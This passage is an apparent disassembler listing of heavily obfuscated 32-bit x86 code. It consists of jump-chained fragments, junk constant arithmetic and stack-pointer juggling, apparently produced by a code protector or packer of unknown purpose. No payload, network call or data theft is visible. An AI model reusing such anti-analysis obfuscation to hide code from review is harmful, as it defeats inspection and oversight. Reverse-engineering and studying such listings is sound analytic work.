		not	eax
		add	eax, 34C26FD6h
		mov	edx, eax
		mov	eax, [esp-6EA4h+arg_6E9A+2]
		add	esp, 4
		jmp	loc_593C47
; ---------------------------------------------------------------------------


loc_59FDB2:				; CODE XREF: sub_581EE9+159B5j
		add	esi, edx
		pop	edx
		jmp	loc_59AD68
; ---------------------------------------------------------------------------


loc_59FDBA:				; CODE XREF: sub_581EE9+1268Bj
		mov	[esp-6E8Ch+arg_6E84], ecx
		jmp	loc_59C803
; ---------------------------------------------------------------------------


loc_59FDC2:				; CODE XREF: sub_581EE9+245ABj
		pop	[esp-6E8Ch+arg_6E84]
		pop	esp
		push	ecx
		mov	ecx, esp
		jmp	loc_59DF59
; ---------------------------------------------------------------------------


loc_59FDCE:				; CODE XREF: sub_581EE9+1EA90j
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp-6E94h+arg_6E8A+2]
		pop	esp
		xor	byte ptr [esp-6E98h+arg_6E8E+2], al
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59FDDE:				; CODE XREF: sub_581EE9+1EF3Aj
		add	edi, 1B967FB5h
		add	edi, 2A1A2193h
		or	edi, 476D2E08h
		shr	edi, 3
		sub	edi, 52B1F42Fh
		sub	ebx, edi
		pop	edi
		push	edi
		jmp	loc_59B067
; ---------------------------------------------------------------------------


loc_59FE02:				; CODE XREF: sub_581EE9+22135j
		sub	edi, 553A39A6h
		pop	ebp
		push	[esp-6E98h+arg_6E8E+2]
		mov	ebp, [esp-6E94h+arg_6E8A+2]
		add	esp, 4
		add	esp, 4
		jmp	loc_599EED
; ---------------------------------------------------------------------------


loc_59FE1D:				; CODE XREF: sub_581EE9+1BB2Fj
		pop	edx
		push	ebx
		pop	edx
		pop	ebx
		xchg	edi, edx
		neg	edi
		xchg	edi, edx
		push	172Ah
		jmp	loc_5A0AAE
; ---------------------------------------------------------------------------


loc_59FE31:				; CODE XREF: sub_581EE9+251BBj
		pop	ebx
		push	ebp
		mov	ebp, esp
		jmp	loc_595EF2
; ---------------------------------------------------------------------------


loc_59FE3A:				; CODE XREF: sub_581EE9+16FC0j
		mov	esi, 3F0E2075h
		add	ecx, esi
		pop	esi
		pop	edi
		jmp	loc_5A1D13
; ---------------------------------------------------------------------------


loc_59FE48:				; CODE XREF: sub_581EE9+1DDAEj
		mov	ecx, 0B130BEh
		sub	[esp-6E8Ah+arg_6E8A], ecx
		pop	ecx
		add	[esp-6E8Eh+arg_6E8A], 24794BEBh
		jmp	loc_59675A
; ---------------------------------------------------------------------------


loc_59FE5F:				; CODE XREF: sub_581EE9+24FBDj
		shl	esi, 5
		jmp	loc_5A184F
; ---------------------------------------------------------------------------


loc_59FE67:				; CODE XREF: sub_581EE9+1AF4Aj
		push	edx
		jmp	loc_595A62
; ---------------------------------------------------------------------------


loc_59FE6D:				; CODE XREF: sub_581EE9+24469j
		push	edx
		mov	dl, 97h
		push	bx
		mov	bh, 6Ah
		sub	dl, 0B2h
		add	dl, bh
		add	dl, 0B2h
		jmp	loc_59A3AC
; ---------------------------------------------------------------------------


loc_59FE81:				; CODE XREF: sub_581EE9+168F1j
		mov	[esp-6E98h+arg_6E8E+2],	ecx
		mov	ecx, 5CE70877h
		shl	ecx, 1
		and	ecx, 61433B96h
		inc	ecx
		and	ecx, 58486D61h
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5A1646
; ---------------------------------------------------------------------------


loc_59FEA9:				; CODE XREF: sub_581EE9+233B9j
		sub	edi, 7FB73794h
		jmp	loc_59C186
; ---------------------------------------------------------------------------


loc_59FEB4:				; CODE XREF: sub_581EE9+133CDj
		sub	bl, 9Ch
		sub	bl, 0D3h
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	415Ah
		mov	[esp-6EA4h+arg_6E9A+2],	eax
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59FECD:				; CODE XREF: sub_581EE9+24002j
		sub	edi, 0BED03C7Ch
		mov	ecx, edi
		pop	edi
		add	ecx, 4F080C0Bh
		jmp	loc_59A33A
; ---------------------------------------------------------------------------


loc_59FEE1:				; CODE XREF: sub_581EE9+1205Cj
		mov	esp, [esp-6EACh+arg_6EA4]
		shr	word ptr [esp-6EACh+arg_6EA4], cl
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59FEEE:				; CODE XREF: sub_581EE9+20B73j
		mov	esp, [esp-6EA8h+arg_6E9E+2]
		jmp	loc_59C566
; ---------------------------------------------------------------------------


loc_59FEF6:				; CODE XREF: sub_581EE9+1CB1Dj
		add	ebp, 4
		push	ecx
		jmp	loc_59B72E
; ---------------------------------------------------------------------------


loc_59FF02:				; CODE XREF: sub_581EE9+1B13Fj
		push	ebp
		mov	ebp, 1AFC5B8Ah
		or	ebp, 298F52F9h
		sub	ebp, 883B7CBCh
		xor	ecx, ebp
		pop	ebp
		inc	ecx
		push	eax
		mov	eax, 5A196887h
		jmp	loc_59E730
; ---------------------------------------------------------------------------


loc_59FF23:				; CODE XREF: sub_581EE9+1430Fj
		add	esp, 4
		jmp	loc_59F6F7
; ---------------------------------------------------------------------------


loc_59FF2B:				; CODE XREF: sub_581EE9+13AEEj
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 38D0015Bh
		shl	ecx, 6
		xor	ecx, 340056C4h
		jmp	loc_597407
; ---------------------------------------------------------------------------


loc_59FF48:				; CODE XREF: sub_581EE9+230C0j
		add	eax, 9C7D2E9Dh
		sub	ebp, eax
		pop	eax
		sub	ebp, 6C0C00B4h
		jmp	loc_597996
; ---------------------------------------------------------------------------


loc_59FF5B:				; CODE XREF: sub_581EE9+18DCAj
		sub	edx, 1C7D486Dh
		sub	edi, edx
		pop	edx
		jmp	loc_596A26
; ---------------------------------------------------------------------------


loc_59FF69:				; CODE XREF: sub_581EE9+156CAj
		xor	dl, 1Dh
		add	al, dl
		jmp	loc_5A34E9
; ---------------------------------------------------------------------------


loc_59FF73:				; CODE XREF: sub_581EE9+1B60Bj
		mov	ecx, [esp-6E46h+arg_6E3E]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A0453
; ---------------------------------------------------------------------------


loc_59FF84:				; CODE XREF: sub_581EE9+18519j
		push	[esp-6E92h+arg_6E8A]
		pop	eax
		push	5EE2h
		jmp	loc_5925ED
; ---------------------------------------------------------------------------


loc_59FF92:				; CODE XREF: sub_581EE9+1D6DFj
		pop	ecx
		dec	esi
		push	edi
		jmp	loc_5A6FF1
; ---------------------------------------------------------------------------


loc_59FF9A:				; CODE XREF: sub_581EE9+21D84j
		pop	ebx
		jmp	loc_5A0BED
; ---------------------------------------------------------------------------


loc_59FFA0:				; CODE XREF: sub_581EE9+188A2j
		xor	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A5595
; ---------------------------------------------------------------------------


loc_59FFB0:				; CODE XREF: sub_581EE9+2505Cj
		add	esi, 12C339E7h
		jmp	loc_598F2D
; ---------------------------------------------------------------------------


loc_59FFBB:				; CODE XREF: sub_581EE9+18584j
		mov	esi, [esp-6E9Eh+arg_6E96]
		add	esp, 4
		jmp	loc_59C723
; ---------------------------------------------------------------------------


loc_59FFC6:				; CODE XREF: sub_581EE9+17831j
		mov	ebx, 4
		jmp	loc_59AAE1
; ---------------------------------------------------------------------------


loc_59FFD0:				; CODE XREF: sub_581EE9+1A47Dj
		or	ecx, 358F1F82h
		neg	ecx
		not	ecx
		push	esi
		jmp	loc_592598
; ---------------------------------------------------------------------------


loc_59FFE0:				; CODE XREF: sub_581EE9+11F25j
		add	edi, 4
		xchg	edi, [esp-6E92h+arg_6E8A]
		pop	esp
		jmp	loc_59BE7E
; ---------------------------------------------------------------------------


loc_59FFEC:				; CODE XREF: sub_581EE9+23944j
		pop	[esp-6E96h+arg_6E8E]
		pop	esp
		rol	[esp-6E9Eh+arg_6E96], cl
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59FFF9:				; CODE XREF: sub_581EE9+22F1Aj
		sub	esp, 4
		mov	[esp-6E96h+arg_6E8E], ebx
		jmp	loc_5A116A
; ---------------------------------------------------------------------------


loc_5A0004:				; CODE XREF: sub_581EE9+1DDBAj
		mov	edx, esp
		jmp	loc_59C46F
; ---------------------------------------------------------------------------


loc_5A000B:				; CODE XREF: sub_581EE9+23769j
		shr	eax, 4
		shr	eax, 4
		xor	eax, 0D802C4h
		mov	edi, eax
		jmp	loc_5A3259
; ---------------------------------------------------------------------------


loc_5A001D:				; CODE XREF: sub_581EE9+12EEEj
		pop	esp
		jmp	loc_59E8B7
; ---------------------------------------------------------------------------


loc_5A0023:				; CODE XREF: sub_581EE9+109CBj
		xor	[esp-6EC4h+arg_6EBA+2],	eax
		xor	eax, [esp-6EC4h+arg_6EBA+2]
		mov	esp, [esp-6EC4h+arg_6EBA+2]
		mov	[esp-6EC4h+arg_6EBA+2],	ecx
		push	edx
		push	6B6273C1h
		pop	edx
		and	edx, 3B277503h
		sub	edx, 0C77F4A61h
		mov	ecx, edx
		pop	edx
		push	ecx
		mov	ecx, 2FA83FD7h
		push	ebp
		mov	ebp, 323F6D90h
		sub	ebx, ebp
		pop	ebp
		add	ebx, ecx
		jmp	loc_598EC7
; ---------------------------------------------------------------------------


loc_5A005B:				; CODE XREF: sub_581EE9+1E75Cj
		pop	esi
		push	ebp
		mov	ebp, 6DB24B8Ah
		add	eax, ebp
		jmp	loc_5A095F
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6EC0h+arg_6EB6+2]
		jmp	loc_5A361E
; ---------------------------------------------------------------------------


loc_5A0072:				; CODE XREF: sub_581EE9+23A9Fj
		dec	esi
		or	esi, 432B4877h
		jmp	loc_59481E
; ---------------------------------------------------------------------------


loc_5A007E:				; CODE XREF: sub_581EE9+1C13Aj
		pop	eax
		add	esi, 4
		xchg	esi, [esp-6E9Ch+arg_6E92+2]
		pop	esp
		push	eax
		push	ebp
		mov	ebp, 44B03B19h
		dec	ebp
		push	eax
		mov	eax, 5D0B0C2Eh
		jmp	loc_59663C
; ---------------------------------------------------------------------------


loc_5A009C:				; CODE XREF: sub_581EE9+15079j
		mov	edi, esp
		push	4595h
		jmp	loc_59E38E
; ---------------------------------------------------------------------------


loc_5A00A8:				; CODE XREF: sub_581EE9+15B9Bj
		push	ecx
		jmp	loc_598D97
; ---------------------------------------------------------------------------


loc_5A00AE:				; CODE XREF: sub_581EE9+1C731j
		sub	edi, 83B70E4h
		xor	edi, 69006F06h
		mov	esi, edi
		pop	edi
		mov	ebp, 0C53F9810h
		push	ecx
		mov	ecx, 63EF7D2Ch
		inc	ecx
		push	ebx
		mov	ebx, 41DA2B56h
		and	ebx, 16EE63DCh
		inc	ebx
		and	ebx, 4EAF6F20h
		or	ebx, 22B87952h
		jmp	loc_594DDC
; ---------------------------------------------------------------------------


loc_5A00E7:				; CODE XREF: sub_581EE9+19553j
		add	al, 0FEh
		mov	ecx, [esp-6E7Eh+arg_6E76]
		add	esp, 4
		jmp	loc_593372
; ---------------------------------------------------------------------------


loc_5A00F7:				; CODE XREF: sub_581EE9+1A0BFj
		mov	edx, [esp-6EA0h+arg_6E96+2]
		add	esp, 4
		push	eax
		mov	eax, 53F11F8h
		xor	eax, 0CBF1A36h
		jmp	loc_5A6114
; ---------------------------------------------------------------------------


loc_5A0110:				; CODE XREF: sub_581EE9+189A0j
		mov	esi, edx
		pop	edx
		push	edx
		mov	edx, 584D7713h
		jmp	loc_5A50F4
; ---------------------------------------------------------------------------


loc_5A011E:				; CODE XREF: sub_581EE9+13040j
		pop	esp
		mov	dword ptr [esp-6E82h+arg_6E7A],	ebx
		jmp	loc_5A5AEB
; ---------------------------------------------------------------------------


loc_5A0127:				; CODE XREF: sub_581EE9+12832j
		mov	ebx, esp
		jmp	loc_595BBB
; ---------------------------------------------------------------------------


loc_5A012E:				; CODE XREF: sub_581EE9+163EDj
		shr	ebp, 4
		jmp	loc_5A0A9E
; ---------------------------------------------------------------------------


loc_5A0136:				; CODE XREF: sub_581EE9+162EEj
		xchg	edx, [esp-6E8Ch+arg_6E84]
		dec	edx
		xchg	edx, [esp-6E8Ch+arg_6E84]
		jmp	loc_59487A
; ---------------------------------------------------------------------------


loc_5A0142:				; CODE XREF: sub_581EE9+23D49j
		mov	eax, 4
		add	edx, 76B76F13h
		add	edx, eax
		jmp	loc_5A2F9B
; ---------------------------------------------------------------------------


loc_5A0154:				; CODE XREF: sub_581EE9+1EA3Aj
		push	ebx
		push	edx
		mov	edx, 3FFB4623h
		push	ebp
		push	edi
		mov	edi, 46DF0FBEh
		mov	ebp, 7E6F3EB7h
		jmp	loc_592725
; ---------------------------------------------------------------------------


loc_5A016C:				; CODE XREF: sub_581EE9+2395Ej
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp-6E80h+arg_6E76+2]
		pop	esp
		push	71E0h
		mov	[esp-6E80h+arg_6E76+2],	ebx
		push	esp
		mov	ebx, [esp-6E7Ch+arg_6E72+2]
		push	edi
		mov	edi, esp
		jmp	loc_596579
; ---------------------------------------------------------------------------


loc_5A0187:				; CODE XREF: sub_581EE9+1F752j
		pop	eax
		xor	ebx, edx
		pop	edx
		and	ecx, ebx
		push	[esp-6E80h+arg_6E76+2]
		pop	ebx
		add	esp, 4
		jmp	loc_5A6711
; ---------------------------------------------------------------------------


loc_5A019C:				; CODE XREF: sub_581EE9+24011j
		add	edi, 1DFB1016h
		pop	ebp
		sub	ebp, edi
		mov	edi, [esp-6E88h+arg_6E80]
		add	esp, 4
		xor	ebp, [esp-6E8Ch+arg_6E84]
		jmp	loc_59C95F
; ---------------------------------------------------------------------------


loc_5A01B6:				; CODE XREF: sub_581EE9+14F21j
		pop	esi
		sub	eax, 0FFFFFFFFh
		push	ebp
		mov	ebp, 7DF3416Dh
		add	ebp, 547A946Fh
		xor	eax, ebp
		pop	ebp
		mov	ecx, eax
		mov	eax, [esp-6E66h+arg_6E5C+2]
		jmp	loc_59706B
; ---------------------------------------------------------------------------


loc_5A01D5:				; CODE XREF: sub_581EE9+1AEE7j
		sub	[esp-6E60h+arg_6E5C], esi
		sub	[esp-6E60h+arg_6E5C], 15F221EFh
		mov	esi, [esp-6E60h+arg_6E58]
		push	ebx
		mov	ebx, esp
		jmp	loc_5A4389
; ---------------------------------------------------------------------------


loc_5A01EC:				; CODE XREF: sub_581EE9+14551j
		mov	edi, 3633475Fh
		push	1EA6h
		jmp	loc_59A66E
; ---------------------------------------------------------------------------


loc_5A01FB:				; CODE XREF: sub_581EE9+215E6j
		sub	edx, 2F824A16h
		sub	edx, ecx
		add	edx, 2F824A16h
		mov	ecx, [esp-6E9Ah+arg_6E92]
		jmp	loc_59699A
; ---------------------------------------------------------------------------


loc_5A0211:				; CODE XREF: sub_581EE9+1B970j
		push	edi
		jmp	loc_59DA6E
; ---------------------------------------------------------------------------
		lodsd
		push	958h
		mov	[esp-6E6Eh+arg_6E64+2],	edx
		mov	edx, 634B59F3h
		xchg	eax, edx
		inc	eax
		xchg	eax, edx
		jmp	loc_5A0A42
; ---------------------------------------------------------------------------


loc_5A022D:				; CODE XREF: sub_581EE9+11395j
		mov	[esp-6EA0h+arg_6E96+2],	edi
		pop	ebp
		pop	edi
		push	eax
		push	esi
		mov	esi, 607C7EB8h
		mov	eax, esi
		pop	esi
		push	ebx
		jmp	loc_59E8BF
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		jmp	loc_5A579A
; ---------------------------------------------------------------------------


loc_5A024E:				; CODE XREF: sub_581EE9+16558j
		mov	ebp, 4
		add	[esp-6EAAh+arg_6EA4+2],	ebp
		pop	ebp
		jmp	loc_59FA69
; ---------------------------------------------------------------------------


loc_5A025D:				; CODE XREF: sub_581EE9+1D1E9j
		mov	eax, 1E696C0Dh
		shl	eax, 3
		dec	eax
		jmp	loc_5A592D
; ---------------------------------------------------------------------------


loc_5A026B:				; CODE XREF: sub_581EE9+15FD6j
		pop	[esp-6E8Ch+arg_6E84]
		jmp	loc_5948D2
; ---------------------------------------------------------------------------


loc_5A0273:				; CODE XREF: sub_581EE9+1AFBEj
		xchg	ebp, [esp-6E6Eh+arg_6E64+2]
		jmp	loc_5A58EB
; ---------------------------------------------------------------------------


loc_5A027B:				; CODE XREF: sub_581EE9+2418Fj
		xchg	ecx, [esp-6E6Eh+arg_6E64+2]
		mov	esp, [esp-6E6Eh+arg_6E64+2]
		jmp	loc_59E3B3
; ---------------------------------------------------------------------------


loc_5A0286:				; CODE XREF: sub_581EE9+22B1Bj
		push	edi
		mov	edi, 708D5661h
		shl	edi, 4
		or	edi, 60EA6027h
		xor	edi, 4F710551h
		jmp	loc_59C991
; ---------------------------------------------------------------------------


loc_5A02A0:				; CODE XREF: sub_581EE9+18939j
		xchg	edx, [esp-6E9Ah+arg_6E92]
		mov	esp, [esp-6E9Ah+arg_6E92]


loc_5A02A6:				; CODE XREF: sub_581EE9+13DF8j
		push	6FD4h
		mov	[esp-6E96h+arg_6E8E], eax
		mov	eax, esp
		jmp	loc_59C0C6
; ---------------------------------------------------------------------------


loc_5A02B5:				; CODE XREF: sub_581EE9+11B09j
		add	ebx, edi
		mov	edi, [esp+0]
		jmp	loc_59DE4D
; ---------------------------------------------------------------------------


loc_5A02BF:				; CODE XREF: sub_581EE9+1550Cj
		sub	dl, 42h
		jmp	loc_5A5809
; ---------------------------------------------------------------------------


loc_5A02C7:				; CODE XREF: sub_581EE9+13031j
		sub	al, 55h
		sub	bh, 62h
		jmp	loc_5A03D3
; ---------------------------------------------------------------------------


loc_5A02D1:				; CODE XREF: sub_581EE9+20CA5j
		pop	eax
		jmp	loc_59A56A
; ---------------------------------------------------------------------------


loc_5A02D7:				; CODE XREF: sub_581EE9+11735j
		shr	eax, 4
		add	eax, 568AC905h
		jmp	loc_5A3415
; ---------------------------------------------------------------------------


loc_5A02E4:				; CODE XREF: sub_581EE9+11F8Dj
		push	dword ptr [esp+0]
		mov	edx, [esp-6E8Ch+arg_6E84]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_597C68
; ---------------------------------------------------------------------------


loc_5A02FE:				; CODE XREF: sub_581EE9+13BB8j
		inc	edi
		shl	edi, 7
		sub	edi, 40A27FEFh
		add	edi, 0C97A2CBAh
		mov	ebp, edi
		pop	edi
		xor	eax, ebp
		mov	ebp, [esp-6E9Ah+arg_6E92]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E9Ah+arg_6E92], ebx
		mov	ebx, 616F7DD8h
		sub	eax, 566A3EF0h
		sub	eax, ebx
		add	eax, 566A3EF0h
		jmp	loc_5937CA
; ---------------------------------------------------------------------------


loc_5A033B:				; CODE XREF: sub_581EE9+1B0CAj
		mov	esp, [esp-6E78h+arg_6E6E+2]
		mov	[esp-6E78h+arg_6E6E+2],	ecx
		push	7D632C29h
		pop	ecx
		sub	eax, 530A18D2h
		jmp	loc_59818A
; ---------------------------------------------------------------------------


loc_5A0351:				; CODE XREF: sub_581EE9+1F70Cj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-6E78h+arg_6E6E+2]
		pop	esp
		push	ebx
		mov	ebx, 9A2D7357h
		mov	edx, ebx
		jmp	loc_594EE4
; ---------------------------------------------------------------------------


loc_5A036E:				; CODE XREF: sub_581EE9+1C1F7j
		mov	ecx, 3AA57130h
		xchg	edx, ecx
		jmp	loc_59EB62
; ---------------------------------------------------------------------------


loc_5A037A:				; CODE XREF: sub_581EE9+124C7j
		add	edx, 9D530C7h
		jmp	loc_59A0CA
; ---------------------------------------------------------------------------


loc_5A0385:				; CODE XREF: sub_581EE9+10517j
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		push	edi
		push	2
		mov	edi, [esp-6EA0h+arg_6E96+2]
		add	esp, 4
		add	edx, edi
		mov	edi, [esp-6EA4h+arg_6E9A+2]
		push	1164h
		mov	[esp-6EA0h+arg_6E96+2],	ebp
		mov	ebp, esp
		add	ebp, 4
		push	1142h
		jmp	loc_5A4096
; ---------------------------------------------------------------------------


loc_5A03BB:				; CODE XREF: sub_581EE9+221A0j
		xor	edi, 4665DEA8h
		jmp	loc_59B036
; ---------------------------------------------------------------------------


loc_5A03C6:				; CODE XREF: sub_581EE9+13109j
		add	eax, 27AF3962h
		pop	edi
		shl	eax, 1
		jmp	loc_59266D
; ---------------------------------------------------------------------------


loc_5A03D3:				; CODE XREF: sub_581EE9+1E3E3j
		sub	bh, al
		add	bh, 62h
		pop	eax
		xor	bh, 0ABh
		and	bh, 0CAh
		shl	bh, 7
		shr	bh, 6
		push	eax
		mov	al, 0B5h
		or	al, 0ACh
		and	al, 32h
		not	al
		sub	al, 2Eh
		add	bh, 0F2h
		sub	bh, al
		sub	bh, 0F2h
		pop	eax
		xor	al, bh
		pop	ebx
		sub	esp, 4
		mov	dword ptr [esp-6E82h+arg_6E7A],	edx
		push	ecx
		mov	cl, 0EFh
		push	ebx
		mov	bl, 36h
		sub	cl, bl
		pop	ebx
		jmp	loc_595223
; ---------------------------------------------------------------------------


loc_5A0410:				; CODE XREF: sub_581EE9+1489Bj
		mov	ecx, [esp-6E6Ah+arg_6E60+2]
		push	ebp
		jmp	loc_5A08B6
; ---------------------------------------------------------------------------


loc_5A0419:				; CODE XREF: sub_581EE9+1A6EFj
		add	ebp, ecx
		pop	ecx
		jmp	loc_5A5970
; ---------------------------------------------------------------------------


loc_5A0421:				; CODE XREF: sub_581EE9+1629Cj
		sub	esp, 4
		mov	[esp-6E8Ch+arg_6E84], esp
		jmp	loc_59C7E3
; ---------------------------------------------------------------------------


loc_5A042F:				; CODE XREF: sub_581EE9+17F86j
		sub	edx, 4
		jmp	loc_5A1722
; ---------------------------------------------------------------------------


loc_5A043A:				; CODE XREF: sub_581EE9+175E1j
		push	ecx
		push	edx
		push	22353A01h
		pop	edx
		push	esi
		jmp	loc_59A196
; ---------------------------------------------------------------------------


loc_5A0448:				; CODE XREF: sub_581EE9+15A32j
		add	esp, 4
		jmp	loc_5A40F6
; ---------------------------------------------------------------------------


loc_5A0453:				; CODE XREF: sub_581EE9+1E096j
		add	ecx, 4
		push	ecx
		push	[esp-6E3Eh+arg_6E3A]
		pop	ecx
		pop	[esp-6E3Eh+arg_6E36]
		pop	esp
		retn
; ---------------------------------------------------------------------------
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A0466:				; CODE XREF: sub_581EE9+1228Cj
		mov	edx, 2C91102Dh
		shl	edx, 3
		shr	edx, 7
		push	ebx
		push	3C5Bh
		mov	[esp-6E5Eh+arg_6E54+2],	esi
		mov	esi, 63D2DD9h
		push	esi
		mov	esi, 63D2DD9h
		sub	esp, 4
		jmp	loc_595668
; ---------------------------------------------------------------------------


loc_5A048D:				; CODE XREF: sub_581EE9+20527j
		pop	esp
		mov	[esp-6E5Ah+arg_6E50+2],	edi
		push	22120030h
		mov	edi, [esp-6E56h+arg_6E4C+2]
		add	esp, 4
		jmp	loc_595016
; ---------------------------------------------------------------------------


loc_5A04A4:				; CODE XREF: sub_581EE9+24664j
		mov	edi, 13552B0Eh
		xor	edi, 8912014h
		sub	ecx, edi
		pop	edi
		jmp	loc_5A5616
; ---------------------------------------------------------------------------


loc_5A04B7:				; CODE XREF: sub_581EE9+1DC56j
		mov	[esp-6EAEh+arg_6EA4+2],	eax
		push	ebx
		jmp	loc_5971BA
; ---------------------------------------------------------------------------


loc_5A04C0:				; CODE XREF: sub_581EE9+1D43Ej
		mov	[esp-6E96h+arg_6E8E], eax
		pop	esi
		push	109Ch
		mov	[esp-6E96h+arg_6E8E], esi
		mov	eax, [esp-6E96h+arg_6E8E]
		jmp	loc_593D03
; ---------------------------------------------------------------------------


loc_5A04D4:				; CODE XREF: sub_581EE9+15A96j
		shl	edi, 1
		shr	edi, 1
		sub	edi, 1F354517h
		dec	edi
		and	edi, 2CA1781Dh
		push	ebx
		mov	ebx, 0CA29DA0Dh
		sub	edi, ebx
		pop	ebx
		add	ecx, 1C021203h
		add	ecx, edi
		sub	ecx, 1C021203h
		mov	edi, [esp-6E64h+arg_6E5C]
		add	esp, 4
		sub	ecx, 7FA269FFh
		jmp	loc_5A0A59
; ---------------------------------------------------------------------------


loc_5A050D:				; CODE XREF: sub_581EE9+1C535j
		mov	eax, 4
		push	14DDh
		mov	[esp-6EAEh+arg_6EA4+2],	esi
		mov	esi, 75A13094h
		sub	esi, 60542884h
		shl	esi, 2
		sub	esi, offset byte_4B09FB
		add	ecx, esi
		pop	esi
		add	ecx, eax
		sub	ecx, 54E91645h
		push	[esp-6EB2h+arg_6EA8+2]
		pop	eax
		jmp	loc_5993ED
; ---------------------------------------------------------------------------


loc_5A0542:				; CODE XREF: sub_581EE9+2097Cj
		not	esi
		xchg	esi, ecx
		jmp	loc_597688
; ---------------------------------------------------------------------------


loc_5A054B:				; CODE XREF: sub_581EE9+12BDBj
		mov	ebp, 296C7F36h
		or	ebp, 28277310h
		inc	ebp
		add	ebp, 233B6AFBh
		and	ebp, 0B296746h
		sub	ebp, 0AF176184h
		push	0B24h
		mov	[esp-6E68h+arg_6E60], esi
		jmp	loc_5A43ED
; ---------------------------------------------------------------------------


loc_5A0576:				; CODE XREF: sub_581EE9+1E925j
		pop	esi
		push	52BCh
		mov	[esp-6E68h+arg_6E60], ebp
		push	ebp
		push	esp
		mov	ebp, [esp-6E60h+arg_6E58]
		jmp	loc_59C5B1
; ---------------------------------------------------------------------------


loc_5A0589:				; CODE XREF: sub_581EE9+1DB70j
		add	esi, ebp
		pop	ebp
		push	ecx
		mov	ecx, 57AD5CCCh
		jmp	loc_5A4FDE
; ---------------------------------------------------------------------------


loc_5A0597:				; CODE XREF: sub_581EE9+16DA6j
		pop	ebx
		push	edx
		mov	dl, ah
		mov	bh, dl
		pop	edx
		pop	eax
		jmp	loc_59624E
; ---------------------------------------------------------------------------


loc_5A05A4:				; CODE XREF: sub_581EE9+140A7j
		add	bl, 5Eh
		sub	bl, 63h
		jmp	loc_595DB5
; ---------------------------------------------------------------------------


loc_5A05AF:				; CODE XREF: sub_581EE9+1EAB4j
		mov	ebx, [esp-6E5Ah+arg_6E50+2]
		add	esp, 4
		push	7FDCh
		jmp	loc_5994BF
; ---------------------------------------------------------------------------


loc_5A05C2:				; CODE XREF: sub_581EE9+1D60Bj
		add	[esp-6E96h+arg_6E92], ebx
		mov	ebx, [esp-6E96h+arg_6E8E]
		add	esp, 4
		mov	esi, [esp-6E9Ah+arg_6E92]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-6E9Eh+arg_6E96]
		jmp	loc_5A6EE2
; ---------------------------------------------------------------------------


loc_5A05E3:				; CODE XREF: sub_581EE9+173EBj
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-6EA8h+arg_6E9E+2]
		pop	esp
		add	eax, edx
		pop	edx
		jmp	loc_599F72
; ---------------------------------------------------------------------------


loc_5A05FE:				; CODE XREF: sub_581EE9+21351j
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp-6EACh+arg_6EA8]
		mov	eax, [esp-6EA8h+arg_6E9E+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-6EA4h+arg_6E9A+2]
		pop	esp
		pop	[esp-6EA8h+arg_6E9E+2]
		mov	esp, [esp-6EACh+arg_6EA4]
		push	4237h
		mov	[esp-6EA8h+arg_6E9E+2],	esi
		pop	dword ptr [edi+20h]
		push	[esp-6EACh+arg_6EA4]
		jmp	loc_59D434
; ---------------------------------------------------------------------------


loc_5A063C:				; CODE XREF: sub_581EE9+235BAj
		push	ecx
		jmp	loc_595036
; ---------------------------------------------------------------------------


loc_5A0642:				; CODE XREF: sub_581EE9+17E58j
		pop	ebx
		mov	ecx, esi
		jmp	loc_5A005B
; ---------------------------------------------------------------------------


loc_5A064A:				; CODE XREF: sub_581EE9+183F6j
		push	edx
		jmp	loc_59D1FB
; ---------------------------------------------------------------------------


loc_5A0650:				; CODE XREF: sub_581EE9+12400j
		push	edi
		jmp	loc_5A6460
; ---------------------------------------------------------------------------


loc_5A0656:				; CODE XREF: sub_581EE9+19F26j
		push	eax
		mov	al, 0C1h
		shl	al, 3
		and	al, 4Fh
		or	al, 0E5h
		sub	al, 73h
		push	ebx
		jmp	loc_5A147F
; ---------------------------------------------------------------------------


loc_5A0668:				; CODE XREF: sub_581EE9+16EE3j
		push	esi
		push	ebx
		push	76577E3Eh
		pop	ebx
		inc	ebx
		add	ebx, 29D32D80h
		push	ebp
		jmp	loc_5A277E
; ---------------------------------------------------------------------------


loc_5A067D:				; CODE XREF: sub_581EE9+17232j
		push	ebx
		mov	ebx, 4D2E5847h
		and	ebx, 6A0B0176h
		add	ebx, 204571F5h
		jmp	loc_5A091A
; ---------------------------------------------------------------------------


loc_5A0694:				; CODE XREF: sub_581EE9+1867Cj
		xor	ecx, ebx
		pop	ebx
		mov	esi, ecx
		push	[esp-6E6Ah+arg_6E60+2]
		push	[esp-6E66h+arg_6E5C+2]
		pop	ecx
		jmp	loc_59DCEA
; ---------------------------------------------------------------------------


loc_5A06A5:				; CODE XREF: sub_581EE9+1BE11j
		mov	[esp-6E5Eh+arg_6E54+2],	edi
		jmp	loc_59DC77
; ---------------------------------------------------------------------------


loc_5A06AD:				; CODE XREF: sub_581EE9+22156j
		neg	bl
		sub	bl, 0EFh
		push	ecx
		mov	ch, bl
		push	ebx
		mov	bh, ch
		mov	dh, bh
		pop	ebx
		pop	ecx
		pop	ebx
		sub	al, 0CBh
		sub	al, dh
		push	bx
		mov	bl, 0CBh
		jmp	loc_593367
; ---------------------------------------------------------------------------


